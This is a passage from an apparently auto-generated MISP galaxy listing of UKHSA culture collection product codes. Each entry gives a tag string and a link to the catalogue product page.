https://www.culturecollections.org.uk/nop/product/c1006

C1011

The tag is: *misp-galaxy:ukhsa-culture-collections="C1011"*

Table 27092. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1011

C1008

The tag is: *misp-galaxy:ukhsa-culture-collections="C1008"*

Table 27093. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1008

C0735

The tag is: *misp-galaxy:ukhsa-culture-collections="C0735"*

Table 27094. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0735

C0731

The tag is: *misp-galaxy:ukhsa-culture-collections="C0731"*

Table 27095. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0731

C0730

The tag is: *misp-galaxy:ukhsa-culture-collections="C0730"*

Table 27096. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0730

C0728

The tag is: *misp-galaxy:ukhsa-culture-collections="C0728"*

Table 27097. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0728

C0725

The tag is: *misp-galaxy:ukhsa-culture-collections="C0725"*

Table 27098. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0725

C0724

The tag is: *misp-galaxy:ukhsa-culture-collections="C0724"*

Table 27099. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0724

C0723

The tag is: *misp-galaxy:ukhsa-culture-collections="C0723"*

Table 27100. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0723

C0722

The tag is: *misp-galaxy:ukhsa-culture-collections="C0722"*

Table 27101. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0722

C0997

The tag is: *misp-galaxy:ukhsa-culture-collections="C0997"*

Table 27102. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0997

C0996

The tag is: *misp-galaxy:ukhsa-culture-collections="C0996"*

Table 27103. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0996

C0995

The tag is: *misp-galaxy:ukhsa-culture-collections="C0995"*

Table 27104. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0995

C0994

The tag is: *misp-galaxy:ukhsa-culture-collections="C0994"*

Table 27105. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0994

C0990

The tag is: *misp-galaxy:ukhsa-culture-collections="C0990"*

Table 27106. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0990

C0988

The tag is: *misp-galaxy:ukhsa-culture-collections="C0988"*

Table 27107. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0988

C0985

The tag is: *misp-galaxy:ukhsa-culture-collections="C0985"*

Table 27108. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0985

C0983

The tag is: *misp-galaxy:ukhsa-culture-collections="C0983"*

Table 27109. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0983

C0981

The tag is: *misp-galaxy:ukhsa-culture-collections="C0981"*

Table 27110. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0981

C0980

The tag is: *misp-galaxy:ukhsa-culture-collections="C0980"*

Table 27111. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0980

C0978

The tag is: *misp-galaxy:ukhsa-culture-collections="C0978"*

Table 27112. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0978

C0977

The tag is: *misp-galaxy:ukhsa-culture-collections="C0977"*

Table 27113. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0977

C0976

The tag is: *misp-galaxy:ukhsa-culture-collections="C0976"*

Table 27114. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0976

C0971

The tag is: *misp-galaxy:ukhsa-culture-collections="C0971"*

Table 27115. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0971

C0970

The tag is: *misp-galaxy:ukhsa-culture-collections="C0970"*

Table 27116. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0970

C0969

The tag is: *misp-galaxy:ukhsa-culture-collections="C0969"*

Table 27117. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0969

C0968

The tag is: *misp-galaxy:ukhsa-culture-collections="C0968"*

Table 27118. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0968

C0967

The tag is: *misp-galaxy:ukhsa-culture-collections="C0967"*

Table 27119. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0967

C0966

The tag is: *misp-galaxy:ukhsa-culture-collections="C0966"*

Table 27120. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0966

C0965

The tag is: *misp-galaxy:ukhsa-culture-collections="C0965"*

Table 27121. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0965

C0964

The tag is: *misp-galaxy:ukhsa-culture-collections="C0964"*

Table 27122. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0964

C0963

The tag is: *misp-galaxy:ukhsa-culture-collections="C0963"*

Table 27123. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0963

C0962

The tag is: *misp-galaxy:ukhsa-culture-collections="C0962"*

Table 27124. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0962

C0961

The tag is: *misp-galaxy:ukhsa-culture-collections="C0961"*

Table 27125. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0961

C0960

The tag is: *misp-galaxy:ukhsa-culture-collections="C0960"*

Table 27126. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0960

C0959

The tag is: *misp-galaxy:ukhsa-culture-collections="C0959"*

Table 27127. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0959

C0958

The tag is: *misp-galaxy:ukhsa-culture-collections="C0958"*

Table 27128. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0958

C0957

The tag is: *misp-galaxy:ukhsa-culture-collections="C0957"*

Table 27129. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0957

C0956

The tag is: *misp-galaxy:ukhsa-culture-collections="C0956"*

Table 27130. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0956

C0953

The tag is: *misp-galaxy:ukhsa-culture-collections="C0953"*

Table 27131. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0953

C0951

The tag is: *misp-galaxy:ukhsa-culture-collections="C0951"*

Table 27132. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0951

C0948

The tag is: *misp-galaxy:ukhsa-culture-collections="C0948"*

Table 27133. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0948

C0946

The tag is: *misp-galaxy:ukhsa-culture-collections="C0946"*

Table 27134. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0946

C0945

The tag is: *misp-galaxy:ukhsa-culture-collections="C0945"*

Table 27135. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0945

C0943

The tag is: *misp-galaxy:ukhsa-culture-collections="C0943"*

Table 27136. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0943

C0942

The tag is: *misp-galaxy:ukhsa-culture-collections="C0942"*

Table 27137. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0942

C0941

The tag is: *misp-galaxy:ukhsa-culture-collections="C0941"*

Table 27138. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0941

C0940

The tag is: *misp-galaxy:ukhsa-culture-collections="C0940"*

Table 27139. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0940

C0938

The tag is: *misp-galaxy:ukhsa-culture-collections="C0938"*

Table 27140. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0938

C0937

The tag is: *misp-galaxy:ukhsa-culture-collections="C0937"*

Table 27141. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0937

C0936

The tag is: *misp-galaxy:ukhsa-culture-collections="C0936"*

Table 27142. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0936

C0935

The tag is: *misp-galaxy:ukhsa-culture-collections="C0935"*

Table 27143. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0935

C0933

The tag is: *misp-galaxy:ukhsa-culture-collections="C0933"*

Table 27144. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0933

C0175

The tag is: *misp-galaxy:ukhsa-culture-collections="C0175"*

Table 27145. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0175

C0172

The tag is: *misp-galaxy:ukhsa-culture-collections="C0172"*

Table 27146. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0172

C0160

The tag is: *misp-galaxy:ukhsa-culture-collections="C0160"*

Table 27147. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0160

C0159

The tag is: *misp-galaxy:ukhsa-culture-collections="C0159"*

Table 27148. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0159

C0158

The tag is: *misp-galaxy:ukhsa-culture-collections="C0158"*

Table 27149. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0158

C0156

The tag is: *misp-galaxy:ukhsa-culture-collections="C0156"*

Table 27150. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0156

C0155

The tag is: *misp-galaxy:ukhsa-culture-collections="C0155"*

Table 27151. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0155

C0153

The tag is: *misp-galaxy:ukhsa-culture-collections="C0153"*

Table 27152. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0153

C0152

The tag is: *misp-galaxy:ukhsa-culture-collections="C0152"*

Table 27153. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0152

C0150

The tag is: *misp-galaxy:ukhsa-culture-collections="C0150"*

Table 27154. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0150

C0149

The tag is: *misp-galaxy:ukhsa-culture-collections="C0149"*

Table 27155. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0149

C0146

The tag is: *misp-galaxy:ukhsa-culture-collections="C0146"*

Table 27156. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0146

C0143

The tag is: *misp-galaxy:ukhsa-culture-collections="C0143"*

Table 27157. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0143

C0142

The tag is: *misp-galaxy:ukhsa-culture-collections="C0142"*

Table 27158. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0142

C0140

The tag is: *misp-galaxy:ukhsa-culture-collections="C0140"*

Table 27159. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0140

C0138

The tag is: *misp-galaxy:ukhsa-culture-collections="C0138"*

Table 27160. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0138

C0136

The tag is: *misp-galaxy:ukhsa-culture-collections="C0136"*

Table 27161. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0136

C0135

The tag is: *misp-galaxy:ukhsa-culture-collections="C0135"*

Table 27162. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0135

C0134

The tag is: *misp-galaxy:ukhsa-culture-collections="C0134"*

Table 27163. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0134

C0132

The tag is: *misp-galaxy:ukhsa-culture-collections="C0132"*

Table 27164. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0132

C0131

The tag is: *misp-galaxy:ukhsa-culture-collections="C0131"*

Table 27165. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0131

C0127

The tag is: *misp-galaxy:ukhsa-culture-collections="C0127"*

Table 27166. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0127

C0126

The tag is: *misp-galaxy:ukhsa-culture-collections="C0126"*

Table 27167. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0126

C0125

The tag is: *misp-galaxy:ukhsa-culture-collections="C0125"*

Table 27168. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0125

C0124

The tag is: *misp-galaxy:ukhsa-culture-collections="C0124"*

Table 27169. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0124

C0123

The tag is: *misp-galaxy:ukhsa-culture-collections="C0123"*

Table 27170. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0123

C0117

The tag is: *misp-galaxy:ukhsa-culture-collections="C0117"*

Table 27171. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0117

C0183

The tag is: *misp-galaxy:ukhsa-culture-collections="C0183"*

Table 27172. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0183

C0180

The tag is: *misp-galaxy:ukhsa-culture-collections="C0180"*

Table 27173. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0180

C0178

The tag is: *misp-galaxy:ukhsa-culture-collections="C0178"*

Table 27174. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0178

C0154

The tag is: *misp-galaxy:ukhsa-culture-collections="C0154"*

Table 27175. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0154

C0145

The tag is: *misp-galaxy:ukhsa-culture-collections="C0145"*

Table 27176. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0145

C0139

The tag is: *misp-galaxy:ukhsa-culture-collections="C0139"*

Table 27177. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0139

C0112

The tag is: *misp-galaxy:ukhsa-culture-collections="C0112"*

Table 27178. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0112

C0081

The tag is: *misp-galaxy:ukhsa-culture-collections="C0081"*

Table 27179. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0081

C0111

The tag is: *misp-galaxy:ukhsa-culture-collections="C0111"*

Table 27180. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0111

C0108

The tag is: *misp-galaxy:ukhsa-culture-collections="C0108"*

Table 27181. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0108

C0098

The tag is: *misp-galaxy:ukhsa-culture-collections="C0098"*

Table 27182. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0098

C0095

The tag is: *misp-galaxy:ukhsa-culture-collections="C0095"*

Table 27183. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0095

C0092

The tag is: *misp-galaxy:ukhsa-culture-collections="C0092"*

Table 27184. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0092

C0088

The tag is: *misp-galaxy:ukhsa-culture-collections="C0088"*

Table 27185. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0088

C0082

The tag is: *misp-galaxy:ukhsa-culture-collections="C0082"*

Table 27186. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0082

C0080

The tag is: *misp-galaxy:ukhsa-culture-collections="C0080"*

Table 27187. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0080

C0075

The tag is: *misp-galaxy:ukhsa-culture-collections="C0075"*

Table 27188. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0075

C0066

The tag is: *misp-galaxy:ukhsa-culture-collections="C0066"*

Table 27189. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0066

C0061

The tag is: *misp-galaxy:ukhsa-culture-collections="C0061"*

Table 27190. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0061

C0053

The tag is: *misp-galaxy:ukhsa-culture-collections="C0053"*

Table 27191. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0053

C0037

The tag is: *misp-galaxy:ukhsa-culture-collections="C0037"*

Table 27192. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0037

C0052

The tag is: *misp-galaxy:ukhsa-culture-collections="C0052"*

Table 27193. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0052

C0032

The tag is: *misp-galaxy:ukhsa-culture-collections="C0032"*

Table 27194. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0032

C0019

The tag is: *misp-galaxy:ukhsa-culture-collections="C0019"*

Table 27195. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0019

C0010

The tag is: *misp-galaxy:ukhsa-culture-collections="C0010"*

Table 27196. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0010

C0009

The tag is: *misp-galaxy:ukhsa-culture-collections="C0009"*

Table 27197. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0009

C0008

The tag is: *misp-galaxy:ukhsa-culture-collections="C0008"*

Table 27198. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0008

C0069

The tag is: *misp-galaxy:ukhsa-culture-collections="C0069"*

Table 27199. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0069

C0060

The tag is: *misp-galaxy:ukhsa-culture-collections="C0060"*

Table 27200. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0060

C0058

The tag is: *misp-galaxy:ukhsa-culture-collections="C0058"*

Table 27201. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0058

C0029

The tag is: *misp-galaxy:ukhsa-culture-collections="C0029"*

Table 27202. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0029

C0027

The tag is: *misp-galaxy:ukhsa-culture-collections="C0027"*

Table 27203. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0027

C0024

The tag is: *misp-galaxy:ukhsa-culture-collections="C0024"*

Table 27204. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0024

C0013

The tag is: *misp-galaxy:ukhsa-culture-collections="C0013"*

Table 27205. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0013

C0038

The tag is: *misp-galaxy:ukhsa-culture-collections="C0038"*

Table 27206. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0038

C0020

The tag is: *misp-galaxy:ukhsa-culture-collections="C0020"*

Table 27207. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0020

C0016

The tag is: *misp-galaxy:ukhsa-culture-collections="C0016"*

Table 27208. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0016

C0208

The tag is: *misp-galaxy:ukhsa-culture-collections="C0208"*

Table 27209. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0208

C0206

The tag is: *misp-galaxy:ukhsa-culture-collections="C0206"*

Table 27210. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0206

C0204

The tag is: *misp-galaxy:ukhsa-culture-collections="C0204"*

Table 27211. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0204

C0203

The tag is: *misp-galaxy:ukhsa-culture-collections="C0203"*

Table 27212. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0203

C0133

The tag is: *misp-galaxy:ukhsa-culture-collections="C0133"*

Table 27213. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0133

C0012

The tag is: *misp-galaxy:ukhsa-culture-collections="C0012"*

Table 27214. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0012

C0049

The tag is: *misp-galaxy:ukhsa-culture-collections="C0049"*

Table 27215. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0049

C0070

The tag is: *misp-galaxy:ukhsa-culture-collections="C0070"*

Table 27216. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0070

C0036

The tag is: *misp-galaxy:ukhsa-culture-collections="C0036"*

Table 27217. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0036

C0045

The tag is: *misp-galaxy:ukhsa-culture-collections="C0045"*

Table 27218. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0045

C0181

The tag is: *misp-galaxy:ukhsa-culture-collections="C0181"*

Table 27219. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0181

C0189

The tag is: *misp-galaxy:ukhsa-culture-collections="C0189"*

Table 27220. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0189

C0090

The tag is: *misp-galaxy:ukhsa-culture-collections="C0090"*

Table 27221. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0090

C0147

The tag is: *misp-galaxy:ukhsa-culture-collections="C0147"*

Table 27222. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0147

C0144

The tag is: *misp-galaxy:ukhsa-culture-collections="C0144"*

Table 27223. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0144

C0121

The tag is: *misp-galaxy:ukhsa-culture-collections="C0121"*

Table 27224. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0121

C0084

The tag is: *misp-galaxy:ukhsa-culture-collections="C0084"*

Table 27225. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0084

C0046

The tag is: *misp-galaxy:ukhsa-culture-collections="C0046"*

Table 27226. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0046

C0007

The tag is: *misp-galaxy:ukhsa-culture-collections="C0007"*

Table 27227. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0007

C0004

The tag is: *misp-galaxy:ukhsa-culture-collections="C0004"*

Table 27228. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0004

C0073

The tag is: *misp-galaxy:ukhsa-culture-collections="C0073"*

Table 27229. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0073

C0035

The tag is: *misp-galaxy:ukhsa-culture-collections="C0035"*

Table 27230. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0035

C0065

The tag is: *misp-galaxy:ukhsa-culture-collections="C0065"*

Table 27231. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0065

C0042

The tag is: *misp-galaxy:ukhsa-culture-collections="C0042"*

Table 27232. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0042

C0039

The tag is: *misp-galaxy:ukhsa-culture-collections="C0039"*

Table 27233. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0039

C0074

The tag is: *misp-galaxy:ukhsa-culture-collections="C0074"*

Table 27234. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0074

C0068

The tag is: *misp-galaxy:ukhsa-culture-collections="C0068"*

Table 27235. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0068

C0028

The tag is: *misp-galaxy:ukhsa-culture-collections="C0028"*

Table 27236. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0028

C0059

The tag is: *misp-galaxy:ukhsa-culture-collections="C0059"*

Table 27237. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0059

C0022

The tag is: *misp-galaxy:ukhsa-culture-collections="C0022"*

Table 27238. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0022

C0157

The tag is: *misp-galaxy:ukhsa-culture-collections="C0157"*

Table 27239. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0157

C0116

The tag is: *misp-galaxy:ukhsa-culture-collections="C0116"*

Table 27240. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0116

C0106

The tag is: *misp-galaxy:ukhsa-culture-collections="C0106"*

Table 27241. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0106

C0104

The tag is: *misp-galaxy:ukhsa-culture-collections="C0104"*

Table 27242. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0104

C0093

The tag is: *misp-galaxy:ukhsa-culture-collections="C0093"*

Table 27243. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0093

C0006

The tag is: *misp-galaxy:ukhsa-culture-collections="C0006"*

Table 27244. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0006

C0030

The tag is: *misp-galaxy:ukhsa-culture-collections="C0030"*

Table 27245. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0030

C0034

The tag is: *misp-galaxy:ukhsa-culture-collections="C0034"*

Table 27246. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0034

C0040

The tag is: *misp-galaxy:ukhsa-culture-collections="C0040"*

Table 27247. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0040

C0018

The tag is: *misp-galaxy:ukhsa-culture-collections="C0018"*

Table 27248. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0018

C0054

The tag is: *misp-galaxy:ukhsa-culture-collections="C0054"*

Table 27249. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0054

C0041

The tag is: *misp-galaxy:ukhsa-culture-collections="C0041"*

Table 27250. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0041

UKTS9142

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9142"*

Table 27251. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9142

UKTS8754

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8754"*

Table 27252. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8754

UKTS9260

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9260"*

Table 27253. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9260

UKTS9034

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9034"*

Table 27254. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9034

UKTS9213

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9213"*

Table 27255. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9213

UKTS9020

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9020"*

Table 27256. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9020

UKTS9201

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9201"*

Table 27257. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9201

UKTS9225

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9225"*

Table 27258. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9225

UKTS9115

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9115"*

Table 27259. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9115

UKTS9110

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9110"*

Table 27260. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9110

UKTS9109

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9109"*

Table 27261. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9109

UKTS9051

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9051"*

Table 27262. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9051

UKTS9019

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9019"*

Table 27263. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9019

UKTS8878

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8878"*

Table 27264. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8878

UKTS8802

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8802"*

Table 27265. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8802

UKTS8797

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8797"*

Table 27266. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8797

UKTS8796

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8796"*

Table 27267. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8796

UKTS8792

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8792"*

Table 27268. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8792

UKTS8791

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8791"*

Table 27269. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8791

UKTS8049

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8049"*

Table 27270. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8049

UKTS9002

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9002"*

Table 27271. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9002

UKTS8713

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8713"*

Table 27272. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8713

UKTS9082

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9082"*

Table 27273. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9082

UKTS8989

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8989"*

Table 27274. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8989

UKTS9114

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9114"*

Table 27275. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9114

UKTS8670

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8670"*

Table 27276. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8670

UKTS9242

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9242"*

Table 27277. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9242

UKTS8768

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8768"*

Table 27278. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8768

UKTS8840

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8840"*

Table 27279. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8840

UKTS8740

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8740"*

Table 27280. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8740

UKTS9003

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9003"*

Table 27281. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9003

UKTS8825

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8825"*

Table 27282. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8825

UKTS9050

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9050"*

Table 27283. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9050

UKTS9046

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9046"*

Table 27284. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9046

UKTS8992

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8992"*

Table 27285. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8992

UKTS8727

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8727"*

Table 27286. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8727

UKTS8966

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8966"*

Table 27287. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8966

UKTS9175

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9175"*

Table 27288. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9175

UKTS9025

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9025"*

Table 27289. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9025

UKTS8695

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8695"*

Table 27290. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8695

UKTS8837

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS8837"*

Table 27291. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts8837

C0003

The tag is: *misp-galaxy:ukhsa-culture-collections="C0003"*

Table 27292. Table References

